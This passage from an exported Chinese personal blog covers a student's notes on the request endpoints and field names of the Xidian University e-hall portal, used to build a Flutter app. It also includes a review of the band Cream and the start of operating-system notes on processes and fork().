id=\"获取考试安排\"\u003e获取考试安排\u003c/h3\u003e\n\u003cp\u003e先说明一下,这块由于没有基本材料,我目前也没有考试,所以以下逻辑仅供参考。\u003c/p\u003e\n\u003ch4 id=\"关于获取学期数据\"\u003e关于获取学期数据\u003c/h4\u003e\n\u003cp\u003e我经历了那次坑爹的年初疫情,后面我们考试的时候,我们需要自己去一站式更改学期,才能看到我们拖延考试的信息。所以,这里我想做一个查看往学期考试信息的功能。\u003c/p\u003e\n\u003cp\u003e然后,当我获取所有学期代码的时候,我发现好家伙,数据居然是从 2012 年开始算的。兄弟,我 2020 年入学的好吗?\u003c/p\u003e\n\u003cp\u003e所以,我感觉每年的二月到七月算春季学期,剩下的是秋季学期,我决定自己获取学期代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003emonth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-2\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"查询考试安排信息\"\u003e查询考试安排信息\u003c/h4\u003e\n\u003cp\u003e实际上我找到了三个相关请求,分别是:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003ewdksap\u003c/td\u003e\n\u003ctd\u003e我的考试安排\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecxyxkwapkwdkc\u003c/td\u003e\n\u003ctd\u003e查询已选课未安排考务的课程\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecxwapdksrw\u003c/td\u003e\n\u003ctd\u003e查询未安排的考试任务\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch5 id=\"我的考试安排\"\u003e我的考试安排\u003c/h5\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/wdksap.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/wdksap.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003esemester\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;*order\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;-KSRQ,-KSSJMS\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e返回的数据在 \u003ccode\u003e[datas][wdksap]\u003c/code\u003e 里面,提取之。\u003c/p\u003e\n\u003cp\u003e如果有考试的话,\u003ccode\u003e[extParams][code]\u003c/code\u003e 为 1,数据在 \u003ccode\u003e[row]\u003c/code\u003e 里面。\u003c/p\u003e\n\u003ch5 id=\"查询已选课未安排考务的课程\"\u003e查询已选课未安排考务的课程\u003c/h5\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/cxyxkwapkwdkc.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/studentWdksapApp/modules/wdksap/cxyxkwapkwdkc.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003esemester\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e返回的数据在 \u003ccode\u003e[datas][cxyxkwapkwdkc]\u003c/code\u003e 里面,提取之,接下来咋处理我不想说了。\u003c/p\u003e\n\u003ch5 id=\"查询未安排的考试任务\"\u003e查询未安排的考试任务\u003c/h5\u003e\n\u003cp\u003e这个我每次请求,返回的数据都是\u0026#34;学生查询在考试任务中且没有安排的课程\u0026#34;。所以我也不知道该咋办了,兴许这又是教务处啥不可说的禁区?\u003c/p\u003e\n\u003ch4 id=\"金智黑话翻译表-1\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003cp\u003e打开网页调试器的网络分项,我看到了请求几个 html 的东西,里面就有缩写和对应中文,这里我摘抄几个。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eKSSJMS\u003c/td\u003e\n\u003ctd\u003e考试时间\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJASMC\u003c/td\u003e\n\u003ctd\u003e考试地点(具体是啥我也不知道)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZJJSXM\u003c/td\u003e\n\u003ctd\u003e主讲教师\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZWH\u003c/td\u003e\n\u003ctd\u003e座位号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYKKS\u003c/td\u003e\n\u003ctd\u003e已完成考试\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eWKKS\u003c/td\u003e\n\u003ctd\u003e未完成考试\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBZ\u003c/td\u003e\n\u003ctd\u003e考生须知\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYXZXAPKS\u003c/td\u003e\n\u003ctd\u003e院系自行安排\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"个人信息\"\u003e个人信息\u003c/h3\u003e\n\u003cp\u003e感觉这是最没用的功能了,除了打开应用告诉你是谁之外(溜了)\u003c/p\u003e\n\u003ch4 id=\"获取方法\"\u003e获取方法\u003c/h4\u003e\n\u003cp\u003e还记得获取成绩前,我们需要把跳转网址自行发送 GET 请求吗?获取个人信息时候也需要这么做:-P\u003c/p\u003e\n\u003cp\u003e如果你需要获取很基本的信息,我们往 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/xsfw/sys/swpubapp/userinfo/getConfigUserInfo.do?USERID=\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/xsfw/sys/swpubapp/userinfo/getConfigUserInfo.do?USERID=\u003c/a\u003e学号 发送 POST 请求。数据的 returnCode 里面,有 #E000000000000 就是成功。获取的信息在 \u003ccode\u003e[data]\u003c/code\u003e 里面,是一个数组。数组元素依次是学号,姓名,学院。\u003c/p\u003e\n\u003cp\u003e要想获取更加具体的信息,请往 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/xsfw/sys/jbxxapp/modules/infoStudent/getStuBatchInfo.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/xsfw/sys/jbxxapp/modules/infoStudent/getStuBatchInfo.do\u003c/a\u003e 发送信息,附带数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;requestParamStr\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e你的学号\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"金智黑话翻译表-2\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eXM\u003c/td\u003e\n\u003ctd\u003e姓名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXBDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e性别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBZ5_DISPLAY\u003c/td\u003e\n\u003ctd\u003e书院\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDZ_DWDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e学院\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZYDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e专业\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZSDZ\u003c/td\u003e\n\u003ctd\u003e宿舍\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\n\u003cp\u003e感觉看了那么多东西,算是把网页请求和 Cookie 啥的了解了一下,保证将来计网学的时候没有陌生感(虽然据说不咋讲)。\u003c/p\u003e\n\u003cp\u003e希望那玩意能写出来吧,免得将来找工作说没有编程经验,虽然 Dart 和 Flutter 也是很小众就是了。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/the-things-behind-xidian-e-hall.html"},{"title":"奶油乐队个人回顾","time":"2022-06-12T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/GOzRUgIAKfEQdu3.jpg\" alt=\"Featured image of post 奶油乐队个人回顾\"/\u003e\u003cp\u003e我最近在搞 CPP 的一卡通管理系统大作业,那里面有三个测试文件。有个测试文件是 resident.txt,我在里面输了两个人:Clapton 和 Baker,他们俩对应 Eric Clapton(guitar) 和 Ginger Baker(drums),都是奶油乐队的成员。不过我忘输机 Jack Bruce(bass, harmonica, vocal) 了:-P\u003c/p\u003e\n\u003cp\u003e奶油乐队是上世纪六十年代末的摇滚乐队,所以音乐风格有点复杂。\u003c/p\u003e\n\u003ch2 id=\"上来布鲁斯就超标\"\u003e上来布鲁斯就超标\u003c/h2\u003e\n\u003cp\u003e他们的第一张专辑 \u003cem\u003eFresh Cream\u003c/em\u003e 布鲁斯的味道简直是超标,毕竟有一半的歌曲是翻唱的布鲁斯歌曲。在原创的歌曲中,\u003cem\u003eSleepy Time Time\u003c/em\u003e 体现得很明显。上来的四个音,标准的布鲁斯。后面的三个连音,也是布鲁斯。就连吉他独奏,还是布鲁斯。加上迷幻的歌词,感觉有种奇特的感觉。而在翻唱作品中,\u003cem\u003eCat’s Squirrel\u003c/em\u003e 和 \u003cem\u003eRollin‘ and Tumblin\u0026#39;\u003c/em\u003e 是最有那种感觉的,也就是高亢的声调来体现悲伤的感情,这都要归功于出色的口琴表演。\u003c/p\u003e\n\u003cp\u003e来说说鼓手的表现。这张专辑有些歌曲的鼓声简直是疯狂至极,尤其在 \u003cem\u003eCat’s Squirrel\u003c/em\u003e 和 \u003cem\u003eRollin‘ and Tumblin\u0026#39;\u003c/em\u003e 里面。 \u003cem\u003eSweet Wine\u003c/em\u003e 也是他写的,听起来超级有节奏感,咚咚的感觉。专辑的最后 \u003cem\u003eToad\u003c/em\u003e 就是给他炫技的专门舞台,开创了鼓手独奏在录音室专辑中的先河。(据说他老人家有点小看 Bonzo 233)\u003c/p\u003e\n\u003cp\u003e至于吉他手嘛,他的舞台不在录音室,而在现场。这张专辑除了上面说的,再加上 \u003cem\u003eI Feel Free\u003c/em\u003e ,就没啥了。\u003c/p\u003e\n\u003cp\u003e关于第一张专辑,我还想说一点。这张专辑的双声道版本在我看来,十分地糟糕。鼓声贝斯完全在左声道,吉他声完全在左声道,听上去太割裂啦。要想完整欣赏的话,要不找个有单声道混音的纪念版,要不找个好点的单声道混音器:-P\u003c/p\u003e\n\u003ch2 id=\"然后酒喝多了脑袋沉沉的\"\u003e然后酒喝多了,脑袋沉沉的\u003c/h2\u003e\n\u003cp\u003e他们的第二张专辑 \u003cem\u003eDisraeli Gears\u003c/em\u003e 开始迷幻了起来,虽然布鲁斯的感觉还在,但是已然不是主导的力量了。他们的声音逐渐加重了起来,也迷幻了起来。甚至名字都是迷幻的。比如说上来一首 \u003cem\u003eStrange Brew\u003c/em\u003e ,虽然起调的六个音十分的布鲁斯,但只要稍微延长一下,就迷幻了起来。中间的独奏也是由连音造就的玄幻感觉。这杯啤酒就很怪。\u003c/p\u003e\n\u003cp\u003e当然,也有融合得不是很好的。比如 \u003cem\u003eTales of Brave Ulysses\u003c/em\u003e ,就是纯靠有一点布鲁斯哇音搞点那种感觉,一开始听我没觉得很独特。这之后的 \u003cem\u003eSWLABW\u003c/em\u003e 名字很奇怪 ( She Walked Like A Beard Rainbow ),但是节奏却很快,不迷幻,很清醒,我听完很爽的,是不是人真要迷幻起来也就这样激情吧。\u003c/p\u003e\n\u003cp\u003e这些特点都要归功于新的制作人。第一张专辑的制作人,就是他们的经纪人 Robert Stigwood,经纪人没有抓住他们乐曲的主要特点,搞得听起来有点平平。回来有个贝斯手 Felix Pappalardi 听完了,找到了他们,稍微改了几下,添加了很多新要素。\u003c/p\u003e\n\u003cp\u003e这张专辑的元素,实际上十分多样化,出现了全新风格的歌曲。比如 \u003cem\u003eSunshine of Your Love\u003c/em\u003e 就十分的重摇滚,没啥布鲁斯,也不迷幻。\u003cem\u003eDance the Night Away\u003c/em\u003e 和 \u003cem\u003eWe‘re Going Wrong\u003c/em\u003e 十分纯粹地抒情。前者独奏中的吉他涟漪荡漾,十分地有感觉。\u003c/p\u003e\n\u003ch2 id=\"彻底没有融合分化的很明显\"\u003e彻底没有融合,分化的很明显\u003c/h2\u003e\n\u003cp\u003e第三张专辑 \u003cem\u003eWheels of Fire\u003c/em\u003e 的录音室歌曲部分明显感觉到布鲁斯,迷幻的感觉都没有那么明显了。从布鲁斯的感觉中,脱胎出重摇滚的感觉。迷幻的感觉我觉得荡然无存了,取代的是偏流行的因素。\u003c/p\u003e\n\u003cp\u003e先说流行的感觉,因为我对这个没有那么深的感觉。\u003cem\u003eWhite Room\u003c/em\u003e 气势宏大,\u003cem\u003eThose Were the Days\u003c/em\u003e 节奏欢快,\u003cem\u003eAs You Said\u003c/em\u003e 十分伤感抒情。歌曲的风格已经很复杂,而且流行的感觉了。这个对第四张专辑 \u003cem\u003eGoodbye\u003c/em\u003e 的三首歌都适用。\u003c/p\u003e\n\u003cp\u003e再说重摇滚的感觉,我前面说过的很多布鲁斯调子都是几个音,只要加重一下,重的感觉立马就出来了。比如说 \u003cem\u003ePolician\u003c/em\u003e 这首歌,上来的五个音虽然不是那么布鲁斯,但是绝对是很重的,布鲁斯的痕迹还是在的,而且吉他独奏也是明显的脱胎自布鲁斯。而这张专辑的两首布鲁斯翻唱 \u003cem\u003eSitting on the Top of the World\u003c/em\u003e 和 \u003cem\u003eBorn Under A Bad Sign\u003c/em\u003e,也是十分的重。我曾经看有人说过重金属脱胎自布鲁斯,现在我是有点明白了。(没错,说的就是 Led Zeppelin)\u003c/p\u003e\n\u003cp\u003e实际上,听他们的现场,基本就是这个感觉。他们也是因为第三张专辑 \u003cem\u003eWheels of Fire\u003c/em\u003e 和第四张专辑 \u003cem\u003eGoodbye\u003c/em\u003e 的现场演奏部分就是这种感觉。很重,很快,很布鲁斯。强烈推荐 \u003cem\u003eSpoonful\u003c/em\u003e 的现场演奏版,绝对能听得很爽。\u003c/p\u003e\n\u003ch2 id=\"我还有啥要说的\"\u003e我还有啥要说的\u003c/h2\u003e\n\u003cp\u003e讲道理,要不是这个乐队有个很出名的吉他手,现在人估计没有多少人会注意到这个乐队。但作为六十年代末期比较出名的乐队之一,他们迷幻又重型的风格,让他们在摇滚乐的形成方面起到了很大的作用。他们录音室专辑除了第二张,其他的并没有那么好。但是他们的现场,绝对是经典中的经典。\u003c/p\u003e\n\u003ch2 id=\"扩展观看\"\u003e扩展观看\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.discogs.com/artist/229621-Cream-2\" target=\"_blank\" rel=\"noopener\"\u003eDiscogs 上面的乐队信息\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1xF411T75L\" target=\"_blank\" rel=\"noopener\"\u003e这个乐队的纪录片\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Zy4y1y729\" target=\"_blank\" rel=\"noopener\"\u003e本乐队鼓手的纪录片\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://github.com/BenderBlog/Practise-Programs/tree/main/CPP/exp4\" target=\"_blank\" rel=\"noopener\"\u003e那个大作业\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/cream-band-review.html"},{"title":"操作系统:线程","time":"2022-04-09T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/XwlnJjUEqyDB6WZ.png\" alt=\"Featured image of post 操作系统:线程\"/\u003e\u003ch2 id=\"进程概要\"\u003e进程概要\u003c/h2\u003e\n\u003ch3 id=\"栈区是否是程序的一部分\"\u003e栈区是否是程序的一部分?\u003c/h3\u003e\n\u003cp\u003e不是,栈区是进程的一部分,而程序不是进程。(什么咬文嚼字233)\u003cbr/\u003e\n概念:进程是正在运行的程序。包括程序计数器,栈区和数据区。\u003c/p\u003e\n\u003ch3 id=\"进程创建的四种情况是啥\"\u003e进程创建的四种情况是啥?\u003c/h3\u003e\n\u003cp\u003e系统初始化,用户请求,系统调用,批处理初始化。\u003c/p\u003e\n\u003ch2 id=\"父子进程\"\u003e父子进程\u003c/h2\u003e\n\u003ch3 id=\"fork-创建子进程-和-exec-执行-的区别\"\u003eFork (创建子进程) 和 Exec (执行) 的区别\u003c/h3\u003e\n\u003cp\u003e我觉得括号里面说的很明白了2333\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFork: 子进程和父进程的代码区,堆栈区是相同的。\u003c/li\u003e\n\u003cli\u003eExec: 在同一个进程中,用程序镜像替换这个进程(使用执行程序的程序段和代码段覆盖)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"命令行shell如何执行用户指令\"\u003e命令行(Shell)如何执行用户指令?\u003c/h3\u003e\n\u003cp\u003e用 UNIX 系统举例 (详情见书 P88 最后一段)\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e读取并解析字符串,找到程序\u003c/li\u003e\n\u003cli\u003e使用 \u003ccode\u003efork\u003c/code\u003e/\u003ccode\u003eexec\u003c/code\u003e 系统调用生成子进程\u003c/li\u003e\n\u003cli\u003e子进程使用 \u003ccode\u003eexecvp\u003c/code\u003e 系统调用,使用执行程序的程序段和代码段覆盖。\u003c/li\u003e\n\u003cli\u003e父进程进入等待状态。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e概念:进程的状态有准备态(Ready),等待态(Waiting),运行态(Running)\u003c/p\u003e\n\u003ch3 id=\"读这段代码说最终有几个进程捏\"\u003e读这段代码,说最终有几个进程捏?\u003c/h3\u003e\n\u003cp\u003e先告诉你有四个。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(){\u003c/span\u003e\n\t\u003cspan class=\"n\"\u003epid_t\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\t\t\u003cspan class=\"n\"\u003epid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003efork\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/8csaxz47l62pjKQ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/8csaxz47l62pjKQ.jpg\" loading=\"lazy\" alt=\"Let’s paint a tree, shall we?\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eLet’s paint a tree, shall we?\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"深入进程\"\u003e深入进程\u003c/h2\u003e\n\u003ch3 